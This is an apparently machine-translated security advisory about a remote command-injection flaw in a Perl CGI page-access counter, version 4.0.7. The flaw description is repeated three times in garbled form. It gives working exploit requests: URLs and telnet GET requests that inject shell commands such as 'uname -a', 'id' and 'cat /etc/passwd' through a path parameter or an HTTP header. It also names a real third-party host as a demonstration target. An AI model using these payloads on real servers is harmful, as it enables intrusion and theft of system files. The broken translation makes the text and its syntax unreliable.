Involved program: Authorization Description: popularCGIwebpageaccesscounter4.0.7 allows remote execution of arbitrary commands. Details: popularCGIwebpageaccesscounter4.0.7 allows users to execute arbitrary commands without checking user input ,. Owned by users
Program involved: popular CGI web page access counter 4.0.7 Description: popular CGI web page access counter 4.0.7 allows remote execution of arbitrary commands. Details: popular CGI web page access counter 4.0.7 because user input is not checked, this allows you to execute arbitrary commands ,. Owned by users
Involved procedures:
Popular CGI web page access counter 4.0.7
Description:
Popular CGI web page access counter 4.0.7
Allow Remote RunAny command
Details:
Popular CGI web page access counter 4.0.7
AllowUser
RunAny command,
. User-owned
RunThe permissions of these commands are the same as those of the web server. using other Exploits, you can obtain the root permissions of the unpatched 'System.
This counter contains "counter" written in perl script, and counter-old, counterfiglet, counterfiglet-ord, counterbanner, and counterbanner-ord with multiple connections to "counter.
The following example shows how this vulnerability can be exploited.
Use the following URL
------------------
Http://www.xxx.com/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id
Passing commands in a variable
------------------------------
> Telnet web-server www
GET/cgi-bin/counterfiglet/nc/f =; sh % 20-c % 20 "$ HTTP_X" HTTP/1.0
X: pwd; ls-la/etc; cat/etc/passwd
> Telnet web-server www
GET/cgi-bin/counter/nl/ord/lang = english (1); system ("$ ENV"); HTTP/1.0
X: echo; id; uname-a; w
Foreign demonstration sites
Http://seal.gatech.edu/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;ls
Solution:
Use other counters.